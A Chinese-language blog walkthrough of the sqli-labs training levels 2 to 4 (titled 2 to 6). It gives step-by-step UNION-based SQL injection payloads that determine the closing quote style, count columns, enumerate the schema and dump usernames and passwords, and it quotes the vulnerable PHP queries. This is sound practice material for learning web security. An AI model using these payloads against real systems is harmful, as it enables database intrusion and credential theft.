sqli-labs Less 2-6 攻略

星海河發表於2024-09-12

sqli-labs Less 2-4 的解題與Less1思路相同,只在閉合型別上存在少量區別,故直接提供解題過程,不再作詳細解釋。
對sql注入基本原理尚不瞭解的可以參考我的上一篇部落格基於sqli-labs Less-1的sql聯合注入詳解

Less-2

1. 判斷注入型別

判定為數字型注入

?id=1 and 1=1 回顯
?id=1 and 1=2 報錯

2. 判斷欄位數

欄位數為3

/?id=1 order by 1

/?id=1 order by 2

/?id=1 order by 3

3. 判斷注入點

/?id=1 union select 1,2,3   資料回顯,但是沒有回顯注入點
/?id=0 union select 1,2,3   回顯注入點為2和3

4. 拆解資料庫

/?id=0 union select 1,2,database()    資料庫security

/?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'          表名emails,referers,uagents,users

/?id=0 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security' --+  欄位id,username,password

/?id=0 union select 1,group_concat(username),group_concat(password) from security.users 

Less-3

1. 白盒測試

就是閉合符合改成')

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);

2. 判斷注入型別

判定為字元型注入

?id=1 and 1=1 回顯
?id=1 and 1=2 回顯
?id=1' and '1'='1 回顯
?id=1' and '1'='2 回顯
?id=1 ') and ('1')=('1 回顯
?id=1 ') and ('1')=('2 錯誤
?id=1') 錯誤
?id=1')--+ 回顯

3. 判斷欄位數

欄位數為3

/?id=1') order by 1--+
'
/?id=1') order by 2--+
'
/?id=1') order by 3--+

4. 判斷注入點

/?id=1') union select 1,2,3--+   '資料回顯,但是沒有回顯注入點
/?id=0') union select 1,2,3--+   '回顯注入點為2和3

5. 拆解資料庫

/?id=0')union select 1,2,database()--+    '資料庫security

/?id=0')union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+         '表名emails,referers,uagents,users

/?id=0')union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security' --+  '欄位id,username,password

/?id=0')union select 1,group_concat(username),group_concat(password) from security.users --+ 

Less-4

1. 原始碼

相當於外面套了(""),把閉合符全部換成")即可

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);

2. 判斷注入型別

?id=1 and 1=1 回顯
?id=1 and 1=2 回顯
?id=1' and '1'='1 回顯
?id=1' and '1'='2 回顯
?id=1 ') and ('1')=('1 回顯
?id=1 ') and ('1')=('2 回顯
?id=1") and ("1")=("1 回顯
?id=1" and ("1")=("1 報錯
?id=1")      報錯
?id=1")--+   回顯

後續過程略

相關文章